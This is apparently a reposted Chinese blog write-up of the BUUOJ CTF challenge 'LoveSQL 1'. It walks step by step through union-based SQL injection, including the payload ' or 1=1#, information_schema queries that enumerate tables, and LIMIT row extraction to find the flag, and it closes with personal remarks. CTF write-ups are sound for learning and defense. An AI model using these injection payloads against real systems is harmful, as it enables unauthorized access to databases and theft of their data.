題目:LoveSQL 1
出處:https://buuoj.cn/challenges
知識點:
注入流程:
1.研究注入方式
2.研究回顯的內容
3.了解資料庫結構
4.找到資料
5.利用注入陳述句使查詢內容回顯
題面:

(這群該死的黑客 (╯°Д°)╯︵ ┻━┻)
解題思路:
1.嘗試閉合各種成對的標點符號,測驗發現單引號‘可以引起報錯

2.嘗試萬能密碼 ’ or 1=1#

3.把他給我的password進行各種解碼,結果沒有flag,且直接提交flag{2f2c9ab3c0aaa4818259047ce7aa32fa}反饋不正確,看來password不是flag,我們先用堆疊注入看一下表名和表結構

反饋

說明這題不能使用堆疊注入,
4.既然沒有那么簡單,那么我們開始正常走下一步,目前我們資料庫名、表名、資料所在列名均不知道,我們先利用聯合查詢看看查詢內容和輸出內容的形式,提交' union select 1,#、' union select 1,2#均有以下報錯

提交

反饋

說明查詢內容的第二列和第三列被顯示出來,且只能顯示一行,
5.現在利用報錯查詢以下當前的庫名:
1' union select 1,2,3 from asdf#

反饋

說明庫名為geek
6.下面可以開始查詢表名: 1’ union select 1,2,table_name from information_schema.tables where table_schema='geek' LIMIT 0,1;#

那么當前表名為geekuser,現在已知的用戶有admin,我們大膽猜測這一列的列名為username,保不齊還有別的表,所以我們再往后查一個,1’ union select 1,2,table_name from information_schema.tables where table_schema='geek' LIMIT 1,1;#

果然還有一個表叫,l0ve1ysq1,(正經人會love sql么),我們也不知道會不會還有一個表,再來一個1’ union select 1,2,table_name from information_schema.tables where table_schema='geek' LIMIT 2,1;#
反饋:

沒了,不是老千層餅,現在我們知道
庫:geek
表:geekuser、l0ve1ysq1
7.下面我們只要把兩個表里的內容一行一行讀出來就行了
先從geekuser下手,第一行知道了,我們查第二行:1' union select * from geekuser LIMIT 1,1;#
反饋

看來這個表就一行,我們去查第二個表(其實這個表的第一列有存flag的可能,不過既然有另外一個表,可能性微乎其微,為了保證嚴謹,這一步我也做了,我們可以用陳述句查到第一列的列名是,id )
下面開始查 l0ve1ysq1,希望這個表也是三列,否則就麻煩很多,查詢:1' union select * from l0ve1ysq1 LIMIT 0,1;#
回傳:

行吧,我們看看第二行:1' union select * from l0ve1ysq1 LIMIT 0,1;#

這,,,,我們往下接著看,好吧,往下翻了半天,基本上都是廢話,最后我們發現flag藏在了15行中,

總結:
目前為止,我們之前做的sql注入題目主要作業都是繞過關鍵詞進行查詢,
而本題則更加接近我們常見滲透中遇到的情況,大致思路如下:
1.閉合sql陳述句的標點,使報錯,確定注入點,
2.用`union select 數字,數字` 這樣的方式來確定回顯的位置,
2.修改最終查詢的內容,利用information_schema.tables等庫查看所有的庫、表、列
3.最終利用limit和查詢到的列名,分別確定行和列,將flag回傳到回顯的位置,
這類題目似乎有個特點就是為了提高難度,一般回顯內容不全,只有查詢到的幾個值會有回顯,
最近我情緒明顯不穩定,但是有短短在,還能平靜下來,往好處看,至少我情緒不穩定的時候腦子活躍一點,可以高產似母x,不像情緒低落的時候什么都干不下去,就是最近話要少說一點,不然很容易和人吵起來,
今天我發現‘那我懂你的意思了’這個樂隊被各個音樂軟體下架了,于是聽了一會他們的歌,還上頭了,搖頭晃腦地寫了博客,(強烈安 利這個樂隊)
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/211104.html
標籤:java
上一篇:浙江省第四屆機器人競賽——足球機器人競賽4V4對抗賽一等獎方案(附開源代碼)
下一篇:RSA公鑰指數的選取
